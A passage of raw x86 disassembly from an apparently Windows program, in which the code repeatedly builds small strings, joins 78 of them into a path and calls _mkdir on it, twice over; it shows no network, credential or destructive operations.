mov byte [esp + 0x1710], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4d
mov eax, 0x4114b0
lea esi, [esp + 0x172c]
mov dword [esp + 0x1740], 0xf
mov dword [esp + 0x173c], ebx
mov byte [esp + 0x172c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4e
mov eax, 0x4114b0
lea esi, [esp + 0x1748]
mov dword [esp + 0x175c], 0xf
mov dword [esp + 0x1758], ebx
mov byte [esp + 0x1748], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x4f
mov eax, 0x411484
lea esi, [esp + 0x1764]
mov dword [esp + 0x1778], 0xf
mov dword [esp + 0x1774], ebx
mov byte [esp + 0x1764], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x50
mov eax, 0x4114b0
lea esi, [esp + 0x1780]
mov dword [esp + 0x1794], 0xf
mov dword [esp + 0x1790], ebx
mov byte [esp + 0x1780], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x51
mov eax, 0x4114c4
lea esi, [esp + 0x179c]
mov dword [esp + 0x17b0], 0xf
mov dword [esp + 0x17ac], ebx
mov byte [esp + 0x179c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x52
mov eax, 0x4114ec
lea esi, [esp + 0x17b8]
mov dword [esp + 0x17cc], 0xf
mov dword [esp + 0x17c8], ebx
mov byte [esp + 0x17b8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x53
mov dword [esp + 0x17e8], 0xf
mov dword [esp + 0x17e4], ebx
mov eax, 0x4114c8
lea esi, [esp + 0x17d4]
mov byte [esp + 0x17d4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x54
mov eax, 0x4114b0
lea esi, [esp + 0x17f0]
mov dword [esp + 0x1804], 0xf
mov dword [esp + 0x1800], ebx
mov byte [esp + 0x17f0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x55
mov eax, 0x4114f4
lea esi, [esp + 0x180c]
mov dword [esp + 0x1820], 0xf
mov dword [esp + 0x181c], ebx
mov byte [esp + 0x180c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x56
mov eax, 0x4114cc
lea esi, [esp + 0x1828]
mov dword [esp + 0x183c], 0xf
mov dword [esp + 0x1838], ebx
mov byte [esp + 0x1828], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x57
mov eax, 0x4114ec
lea esi, [esp + 0x1844]
mov dword [esp + 0x1858], 0xf
mov dword [esp + 0x1854], ebx
mov byte [esp + 0x1844], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x58
mov eax, 0x4114b0
lea esi, [esp + 0x1860]
mov dword [esp + 0x1874], 0xf
mov dword [esp + 0x1870], ebx
mov byte [esp + 0x1860], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x59
mov eax, 0x4114e0
lea esi, [esp + 0x187c]
mov dword [esp + 0x1890], 0xf
mov dword [esp + 0x188c], ebx
mov byte [esp + 0x187c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x5a
mov eax, 0x41149c
lea esi, [esp + 0x1898]
mov dword [esp + 0x18ac], 0xf
mov dword [esp + 0x18a8], ebx
mov byte [esp + 0x1898], bl
call fcn.0040bf10
mov eax, dword [esp + 0x20]
mov byte [esp + 0x6f38], 0x5b
mov dword [esp + 0x92c], 0xf
mov dword [esp + 0x928], ebx
mov byte [esp + 0x918], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402c60
sub eax, esi
mov edi, eax
mov eax, dword [esp + 0x20]
lea esi, [esp + 0x918]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x5c
lea esi, [esp + 0x102c]
mov dword [esp + 0x14], 0x4e
push ebx
push esi
or eax, 0xffffffff
lea edi, [esp + 0x920]
call fcn.0040bd80
add esi, 0x1c
dec dword [esp + 0x14]
jne 0x402c92
cmp dword [esp + 0x92c], 0x10
jb 0x402cc3
mov edx, dword [esp + 0x918]
mov dword [esp + 0x44], edx
jmp 0x402cce
lea eax, [esp + 0x918]
mov dword [esp + 0x44], eax
mov ecx, dword [esp + 0x44]
push ecx
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov edi, 1
mov eax, 0x4114a0
lea esi, [esp + 0x18b4]
mov dword [esp + 0x18c8], 0xf
mov dword [esp + 0x18c4], ebx
mov byte [esp + 0x18b4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x5d
mov eax, 0x4114a4
lea esi, [esp + 0x18d0]
mov dword [esp + 0x18e4], 0xf
mov dword [esp + 0x18e0], ebx
mov byte [esp + 0x18d0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x5e
mov eax, 0x4114a8
lea esi, [esp + 0x18ec]
mov dword [esp + 0x1900], 0xf
mov dword [esp + 0x18fc], ebx
mov byte [esp + 0x18ec], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x5f
mov eax, 0x4114a4
lea esi, [esp + 0x1908]
mov dword [esp + 0x191c], 0xf
mov dword [esp + 0x1918], ebx
mov byte [esp + 0x1908], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x60
mov eax, 0x4114ac
lea esi, [esp + 0x1924]
mov dword [esp + 0x1938], 0xf
mov dword [esp + 0x1934], ebx
mov byte [esp + 0x1924], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x61
mov eax, 0x4114b0
lea esi, [esp + 0x1940]
mov dword [esp + 0x1954], 0xf
mov dword [esp + 0x1950], ebx
mov byte [esp + 0x1940], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x62
mov eax, 0x4114b4
lea esi, [esp + 0x195c]
mov dword [esp + 0x1970], 0xf
mov dword [esp + 0x196c], ebx
mov byte [esp + 0x195c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x63
mov eax, 0x4114a8
lea esi, [esp + 0x1978]
mov dword [esp + 0x198c], 0xf
mov dword [esp + 0x1988], ebx
mov byte [esp + 0x1978], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x64
mov eax, 0x4114b4
lea esi, [esp + 0x1994]
mov dword [esp + 0x19a8], 0xf
mov dword [esp + 0x19a4], ebx
mov byte [esp + 0x1994], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x65
mov dword [esp + 0x19c4], 0xf
mov dword [esp + 0x19c0], ebx
mov byte [esp + 0x19b0], bl
mov eax, 0x4114b8
lea esi, [esp + 0x19b0]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x66
mov eax, 0x4114bc
lea esi, [esp + 0x19cc]
mov dword [esp + 0x19e0], 0xf
mov dword [esp + 0x19dc], ebx
mov byte [esp + 0x19cc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x67
mov eax, 0x4114c0
lea esi, [esp + 0x19e8]
mov dword [esp + 0x19fc], 0xf
mov dword [esp + 0x19f8], ebx
mov byte [esp + 0x19e8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x68
mov eax, 0x4114c0
lea esi, [esp + 0x1a04]
mov dword [esp + 0x1a18], 0xf
mov dword [esp + 0x1a14], ebx
mov byte [esp + 0x1a04], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x69
mov eax, 0x4114a8
lea esi, [esp + 0x1a20]
mov dword [esp + 0x1a34], 0xf
mov dword [esp + 0x1a30], ebx
mov byte [esp + 0x1a20], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6a
mov eax, 0x4114b8
lea esi, [esp + 0x1a3c]
mov dword [esp + 0x1a50], 0xf
mov dword [esp + 0x1a4c], ebx
mov byte [esp + 0x1a3c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6b
mov eax, 0x4114c4
lea esi, [esp + 0x1a58]
mov dword [esp + 0x1a6c], 0xf
mov dword [esp + 0x1a68], ebx
mov byte [esp + 0x1a58], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6c
mov eax, 0x411480
lea esi, [esp + 0x1a74]
mov dword [esp + 0x1a88], 0xf
mov dword [esp + 0x1a84], ebx
mov byte [esp + 0x1a74], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6d
mov eax, 0x4114b0
lea esi, [esp + 0x1a90]
mov dword [esp + 0x1aa4], 0xf
mov dword [esp + 0x1aa0], ebx
mov byte [esp + 0x1a90], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6e
mov eax, 0x4114c8
lea esi, [esp + 0x1aac]
mov dword [esp + 0x1ac0], 0xf
mov dword [esp + 0x1abc], ebx
mov byte [esp + 0x1aac], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x6f
mov dword [esp + 0x1adc], 0xf
mov dword [esp + 0x1ad8], ebx
mov byte [esp + 0x1ac8], bl
mov eax, 0x4114b8
lea esi, [esp + 0x1ac8]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x70
mov eax, 0x4114cc
lea esi, [esp + 0x1ae4]
mov dword [esp + 0x1af8], 0xf
mov dword [esp + 0x1af4], ebx
mov byte [esp + 0x1ae4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x71
mov eax, 0x4114bc
lea esi, [esp + 0x1b00]
mov dword [esp + 0x1b14], 0xf
mov dword [esp + 0x1b10], ebx
mov byte [esp + 0x1b00], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x72
mov eax, 0x4114d4
lea esi, [esp + 0x1b1c]
mov dword [esp + 0x1b30], 0xf
mov dword [esp + 0x1b2c], ebx
mov byte [esp + 0x1b1c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x73
mov eax, 0x4114ac
lea esi, [esp + 0x1b38]
mov dword [esp + 0x1b4c], 0xf
mov dword [esp + 0x1b48], ebx
mov byte [esp + 0x1b38], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x74
mov eax, 0x4114b8
lea esi, [esp + 0x1b54]
mov dword [esp + 0x1b68], 0xf
mov dword [esp + 0x1b64], ebx
mov byte [esp + 0x1b54], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x75
mov eax, 0x4114cc
lea esi, [esp + 0x1b70]
mov dword [esp + 0x1b84], 0xf
mov dword [esp + 0x1b80], ebx
mov byte [esp + 0x1b70], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x76
mov eax, 0x4114d4
lea esi, [esp + 0x1b8c]
mov dword [esp + 0x1ba0], 0xf
mov dword [esp + 0x1b9c], ebx
mov byte [esp + 0x1b8c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x77
mov eax, 0x4114d8
lea esi, [esp + 0x1ba8]
mov dword [esp + 0x1bbc], 0xf
mov dword [esp + 0x1bb8], ebx
mov byte [esp + 0x1ba8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x78
mov eax, 0x4114c4
lea esi, [esp + 0x1bc4]
mov dword [esp + 0x1bd8], 0xf
mov dword [esp + 0x1bd4], ebx
mov byte [esp + 0x1bc4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x79
mov eax, 0x4114b4
lea esi, [esp + 0x1be0]
mov dword [esp + 0x1bf4], 0xf
mov dword [esp + 0x1bf0], ebx
mov byte [esp + 0x1be0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7a
mov eax, 0x4114dc
lea esi, [esp + 0x1bfc]
mov dword [esp + 0x1c10], 0xf
mov dword [esp + 0x1c0c], ebx
mov byte [esp + 0x1bfc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7b
mov eax, 0x4114a4
lea esi, [esp + 0x1c18]
mov dword [esp + 0x1c2c], 0xf
mov dword [esp + 0x1c28], ebx
mov byte [esp + 0x1c18], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7c
mov eax, 0x4114dc
lea esi, [esp + 0x1c34]
mov dword [esp + 0x1c48], 0xf
mov dword [esp + 0x1c44], ebx
mov byte [esp + 0x1c34], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7d
mov eax, 0x411248
lea esi, [esp + 0x1c50]
mov dword [esp + 0x1c64], 0xf
mov dword [esp + 0x1c60], ebx
mov byte [esp + 0x1c50], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7e
mov eax, 0x411248
lea esi, [esp + 0x1c6c]
mov dword [esp + 0x1c80], 0xf
mov dword [esp + 0x1c7c], ebx
mov byte [esp + 0x1c6c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x7f
mov eax, 0x4114d0
lea esi, [esp + 0x1c88]
mov dword [esp + 0x1c9c], 0xf
mov dword [esp + 0x1c98], ebx
mov byte [esp + 0x1c88], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x80
mov eax, 0x4114d0
lea esi, [esp + 0x1ca4]
mov dword [esp + 0x1cb8], 0xf
mov dword [esp + 0x1cb4], ebx
mov byte [esp + 0x1ca4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x81
mov eax, 0x4114e0
lea esi, [esp + 0x1cc0]
mov dword [esp + 0x1cd4], 0xf
mov dword [esp + 0x1cd0], ebx
mov byte [esp + 0x1cc0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x82
mov eax, 0x4114e4
lea esi, [esp + 0x1cdc]
mov dword [esp + 0x1cf0], 0xf
mov dword [esp + 0x1cec], ebx
mov byte [esp + 0x1cdc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x83
mov eax, 0x4114a0
lea esi, [esp + 0x1cf8]
mov dword [esp + 0x1d0c], 0xf
mov dword [esp + 0x1d08], ebx
mov byte [esp + 0x1cf8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x84
mov eax, 0x4114d8
lea esi, [esp + 0x1d14]
mov dword [esp + 0x1d28], 0xf
mov dword [esp + 0x1d24], ebx
mov byte [esp + 0x1d14], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x85
mov eax, 0x4114c0
lea esi, [esp + 0x1d30]
mov dword [esp + 0x1d44], 0xf
mov dword [esp + 0x1d40], ebx
mov byte [esp + 0x1d30], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x86
mov eax, 0x4114c0
lea esi, [esp + 0x1d4c]
mov dword [esp + 0x1d60], 0xf
mov dword [esp + 0x1d5c], ebx
mov byte [esp + 0x1d4c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x87
mov eax, 0x4114cc
lea esi, [esp + 0x1d68]
mov dword [esp + 0x1d7c], 0xf
mov dword [esp + 0x1d78], ebx
mov byte [esp + 0x1d68], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x88
mov eax, 0x4114e8
lea esi, [esp + 0x1d84]
mov dword [esp + 0x1d98], 0xf
mov dword [esp + 0x1d94], ebx
mov byte [esp + 0x1d84], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x89
mov eax, 0x4114ac
lea esi, [esp + 0x1da0]
mov dword [esp + 0x1db4], 0xf
mov dword [esp + 0x1db0], ebx
mov byte [esp + 0x1da0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8a
mov eax, 0x4114ec
lea esi, [esp + 0x1dbc]
mov dword [esp + 0x1dd0], 0xf
mov dword [esp + 0x1dcc], ebx
mov byte [esp + 0x1dbc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8b
mov eax, 0x4114d8
lea esi, [esp + 0x1dd8]
mov dword [esp + 0x1dec], 0xf
mov dword [esp + 0x1de8], ebx
mov byte [esp + 0x1dd8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8c
mov eax, 0x4114b8
lea esi, [esp + 0x1df4]
mov dword [esp + 0x1e08], 0xf
mov dword [esp + 0x1e04], ebx
mov byte [esp + 0x1df4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8d
mov eax, 0x4114d8
lea esi, [esp + 0x1e10]
mov dword [esp + 0x1e24], 0xf
mov dword [esp + 0x1e20], ebx
mov byte [esp + 0x1e10], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8e
mov eax, 0x4114ac
lea esi, [esp + 0x1e2c]
mov dword [esp + 0x1e40], 0xf
mov dword [esp + 0x1e3c], ebx
mov byte [esp + 0x1e2c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x8f
mov eax, 0x4114f0
lea esi, [esp + 0x1e48]
mov dword [esp + 0x1e5c], 0xf
mov dword [esp + 0x1e58], ebx
mov byte [esp + 0x1e48], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x90
mov eax, 0x4114dc
lea esi, [esp + 0x1e64]
mov dword [esp + 0x1e78], 0xf
mov dword [esp + 0x1e74], ebx
mov byte [esp + 0x1e64], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x91
mov eax, 0x4114b8
lea esi, [esp + 0x1e80]
mov dword [esp + 0x1e94], 0xf
mov dword [esp + 0x1e90], ebx
mov byte [esp + 0x1e80], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x92
mov eax, 0x4114ac
lea esi, [esp + 0x1e9c]
mov dword [esp + 0x1eb0], 0xf
mov dword [esp + 0x1eac], ebx
mov byte [esp + 0x1e9c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x93
mov eax, 0x4114ac
lea esi, [esp + 0x1eb8]
mov dword [esp + 0x1ecc], 0xf
mov dword [esp + 0x1ec8], ebx
mov byte [esp + 0x1eb8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x94
mov eax, 0x4114f0
lea esi, [esp + 0x1ed4]
mov dword [esp + 0x1ee8], 0xf
mov dword [esp + 0x1ee4], ebx
mov byte [esp + 0x1ed4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x95
mov eax, 0x4114c4
lea esi, [esp + 0x1ef0]
mov dword [esp + 0x1f04], 0xf
mov dword [esp + 0x1f00], ebx
mov byte [esp + 0x1ef0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x96
mov eax, 0x4114b8
lea esi, [esp + 0x1f0c]
mov dword [esp + 0x1f20], 0xf
mov dword [esp + 0x1f1c], ebx
mov byte [esp + 0x1f0c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x97
mov eax, 0x4114f4
lea esi, [esp + 0x1f28]
mov dword [esp + 0x1f3c], 0xf
mov dword [esp + 0x1f38], ebx
mov byte [esp + 0x1f28], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x98
mov dword [esp + 0x1f58], 0xf
mov eax, 0x4114f0
lea esi, [esp + 0x1f44]
mov dword [esp + 0x1f54], ebx
mov byte [esp + 0x1f44], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x99
mov eax, 0x4114e8
lea esi, [esp + 0x1f60]
mov dword [esp + 0x1f74], 0xf
mov dword [esp + 0x1f70], ebx
mov byte [esp + 0x1f60], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9a
mov eax, 0x4114ec
lea esi, [esp + 0x1f7c]
mov dword [esp + 0x1f90], 0xf
mov dword [esp + 0x1f8c], ebx
mov byte [esp + 0x1f7c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9b
mov eax, 0x4114b8
lea esi, [esp + 0x1f98]
mov dword [esp + 0x1fac], 0xf
mov dword [esp + 0x1fa8], ebx
mov byte [esp + 0x1f98], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9c
mov eax, 0x4114b0
lea esi, [esp + 0x1fb4]
mov dword [esp + 0x1fc8], 0xf
mov dword [esp + 0x1fc4], ebx
mov byte [esp + 0x1fb4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9d
mov eax, 0x4114b0
lea esi, [esp + 0x1fd0]
mov dword [esp + 0x1fe4], 0xf
mov dword [esp + 0x1fe0], ebx
mov byte [esp + 0x1fd0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9e
mov eax, 0x411484
lea esi, [esp + 0x1fec]
mov dword [esp + 0x2000], 0xf
mov dword [esp + 0x1ffc], ebx
mov byte [esp + 0x1fec], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0x9f
mov eax, 0x4114b0
lea esi, [esp + 0x2008]
mov dword [esp + 0x201c], 0xf
mov dword [esp + 0x2018], ebx
mov byte [esp + 0x2008], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa0
mov eax, 0x4114c4
lea esi, [esp + 0x2024]
mov dword [esp + 0x2038], 0xf
mov dword [esp + 0x2034], ebx
mov byte [esp + 0x2024], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa1
mov eax, 0x4114ec
lea esi, [esp + 0x2040]
mov dword [esp + 0x2054], 0xf
mov dword [esp + 0x2050], ebx
mov byte [esp + 0x2040], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa2
mov dword [esp + 0x2070], 0xf
mov dword [esp + 0x206c], ebx
mov eax, 0x4114c8
lea esi, [esp + 0x205c]
mov byte [esp + 0x205c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa3
mov eax, 0x4114b0
lea esi, [esp + 0x2078]
mov dword [esp + 0x208c], 0xf
mov dword [esp + 0x2088], ebx
mov byte [esp + 0x2078], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa4
mov eax, 0x4114f4
lea esi, [esp + 0x2094]
mov dword [esp + 0x20a8], 0xf
mov dword [esp + 0x20a4], ebx
mov byte [esp + 0x2094], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa5
mov eax, 0x4114cc
lea esi, [esp + 0x20b0]
mov dword [esp + 0x20c4], 0xf
mov dword [esp + 0x20c0], ebx
mov byte [esp + 0x20b0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa6
mov eax, 0x4114ec
lea esi, [esp + 0x20cc]
mov dword [esp + 0x20e0], 0xf
mov dword [esp + 0x20dc], ebx
mov byte [esp + 0x20cc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa7
mov eax, 0x4114b0
lea esi, [esp + 0x20e8]
mov dword [esp + 0x20fc], 0xf
mov dword [esp + 0x20f8], ebx
mov byte [esp + 0x20e8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa8
mov eax, 0x4114e0
lea esi, [esp + 0x2104]
mov dword [esp + 0x2118], 0xf
mov dword [esp + 0x2114], ebx
mov byte [esp + 0x2104], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xa9
mov eax, 0x41149c
lea esi, [esp + 0x2120]
mov dword [esp + 0x2134], 0xf
mov dword [esp + 0x2130], ebx
mov byte [esp + 0x2120], bl
call fcn.0040bf10
mov eax, dword [esp + 0x20]
mov byte [esp + 0x6f38], 0xaa
mov dword [esp + 0x910], 0xf
mov dword [esp + 0x90c], ebx
mov byte [esp + 0x8fc], bl
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403c40
sub eax, esi
mov edi, eax
mov eax, dword [esp + 0x20]
lea esi, [esp + 0x8fc]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xab
lea esi, [esp + 0x18b4]
mov dword [esp + 0x14], 0x4e
push ebx
push esi
or eax, 0xffffffff
lea edi, [esp + 0x904]
call fcn.0040bd80
add esi, 0x1c
dec dword [esp + 0x14]
jne 0x403c72
cmp dword [esp + 0x910], 0x10
jb 0x403ca3
mov edx, dword [esp + 0x8fc]
mov dword [esp + 0x40], edx
jmp 0x403cae
lea eax, [esp + 0x8fc]
mov dword [esp + 0x40], eax
mov ecx, dword [esp + 0x40]
push ecx
call dword [sym.imp.MSVCR100.dll__mkdir]
add esp, 4
mov edi, 1
mov eax, 0x4114a0
lea esi, [esp + 0x213c]
mov dword [esp + 0x2150], 0xf
mov dword [esp + 0x214c], ebx
mov byte [esp + 0x213c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xac
mov eax, 0x4114a4
lea esi, [esp + 0x2158]
mov dword [esp + 0x216c], 0xf
mov dword [esp + 0x2168], ebx
mov byte [esp + 0x2158], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xad
mov eax, 0x4114a8
lea esi, [esp + 0x2174]
mov dword [esp + 0x2188], 0xf
mov dword [esp + 0x2184], ebx
mov byte [esp + 0x2174], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xae
mov eax, 0x4114a4
lea esi, [esp + 0x2190]
mov dword [esp + 0x21a4], 0xf
mov dword [esp + 0x21a0], ebx
mov byte [esp + 0x2190], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xaf
mov eax, 0x4114ac
lea esi, [esp + 0x21ac]
mov dword [esp + 0x21c0], 0xf
mov dword [esp + 0x21bc], ebx
mov byte [esp + 0x21ac], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb0
mov eax, 0x4114b0
lea esi, [esp + 0x21c8]
mov dword [esp + 0x21dc], 0xf
mov dword [esp + 0x21d8], ebx
mov byte [esp + 0x21c8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb1
mov eax, 0x4114b4
lea esi, [esp + 0x21e4]
mov dword [esp + 0x21f8], 0xf
mov dword [esp + 0x21f4], ebx
mov byte [esp + 0x21e4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb2
mov eax, 0x4114a8
lea esi, [esp + 0x2200]
mov dword [esp + 0x2214], 0xf
mov dword [esp + 0x2210], ebx
mov byte [esp + 0x2200], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb3
mov eax, 0x4114b4
lea esi, [esp + 0x221c]
mov dword [esp + 0x2230], 0xf
mov dword [esp + 0x222c], ebx
mov byte [esp + 0x221c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb4
mov dword [esp + 0x224c], 0xf
mov dword [esp + 0x2248], ebx
mov byte [esp + 0x2238], bl
mov eax, 0x4114b8
lea esi, [esp + 0x2238]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb5
mov eax, 0x4114bc
lea esi, [esp + 0x2254]
mov dword [esp + 0x2268], 0xf
mov dword [esp + 0x2264], ebx
mov byte [esp + 0x2254], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb6
mov eax, 0x4114c0
lea esi, [esp + 0x2270]
mov dword [esp + 0x2284], 0xf
mov dword [esp + 0x2280], ebx
mov byte [esp + 0x2270], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb7
mov eax, 0x4114c0
lea esi, [esp + 0x228c]
mov dword [esp + 0x22a0], 0xf
mov dword [esp + 0x229c], ebx
mov byte [esp + 0x228c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb8
mov eax, 0x4114a8
lea esi, [esp + 0x22a8]
mov dword [esp + 0x22bc], 0xf
mov dword [esp + 0x22b8], ebx
mov byte [esp + 0x22a8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xb9
mov eax, 0x4114b8
lea esi, [esp + 0x22c4]
mov dword [esp + 0x22d8], 0xf
mov dword [esp + 0x22d4], ebx
mov byte [esp + 0x22c4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xba
mov eax, 0x4114c4
lea esi, [esp + 0x22e0]
mov dword [esp + 0x22f4], 0xf
mov dword [esp + 0x22f0], ebx
mov byte [esp + 0x22e0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xbb
mov eax, 0x411480
lea esi, [esp + 0x22fc]
mov dword [esp + 0x2310], 0xf
mov dword [esp + 0x230c], ebx
mov byte [esp + 0x22fc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xbc
mov eax, 0x4114b0
lea esi, [esp + 0x2318]
mov dword [esp + 0x232c], 0xf
mov dword [esp + 0x2328], ebx
mov byte [esp + 0x2318], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xbd
mov eax, 0x4114c8
lea esi, [esp + 0x2334]
mov dword [esp + 0x2348], 0xf
mov dword [esp + 0x2344], ebx
mov byte [esp + 0x2334], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xbe
mov dword [esp + 0x2364], 0xf
mov dword [esp + 0x2360], ebx
mov byte [esp + 0x2350], bl
mov eax, 0x4114b8
lea esi, [esp + 0x2350]
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xbf
mov eax, 0x4114cc
lea esi, [esp + 0x236c]
mov dword [esp + 0x2380], 0xf
mov dword [esp + 0x237c], ebx
mov byte [esp + 0x236c], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc0
mov eax, 0x4114bc
lea esi, [esp + 0x2388]
mov dword [esp + 0x239c], 0xf
mov dword [esp + 0x2398], ebx
mov byte [esp + 0x2388], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc1
mov eax, 0x4114d0
lea esi, [esp + 0x23a4]
mov dword [esp + 0x23b8], 0xf
mov dword [esp + 0x23b4], ebx
mov byte [esp + 0x23a4], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc2
mov eax, 0x4114f8
lea esi, [esp + 0x23c0]
mov dword [esp + 0x23d4], 0xf
mov dword [esp + 0x23d0], ebx
mov byte [esp + 0x23c0], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc3
mov eax, 0x4114b8
lea esi, [esp + 0x23dc]
mov dword [esp + 0x23f0], 0xf
mov dword [esp + 0x23ec], ebx
mov byte [esp + 0x23dc], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc4
mov eax, 0x4114cc
lea esi, [esp + 0x23f8]
mov dword [esp + 0x240c], 0xf
mov dword [esp + 0x2408], ebx
mov byte [esp + 0x23f8], bl
call fcn.0040bf10
mov byte [esp + 0x6f38], 0xc5
mov eax, 0x4114d4
lea esi, [esp + 0x2414]
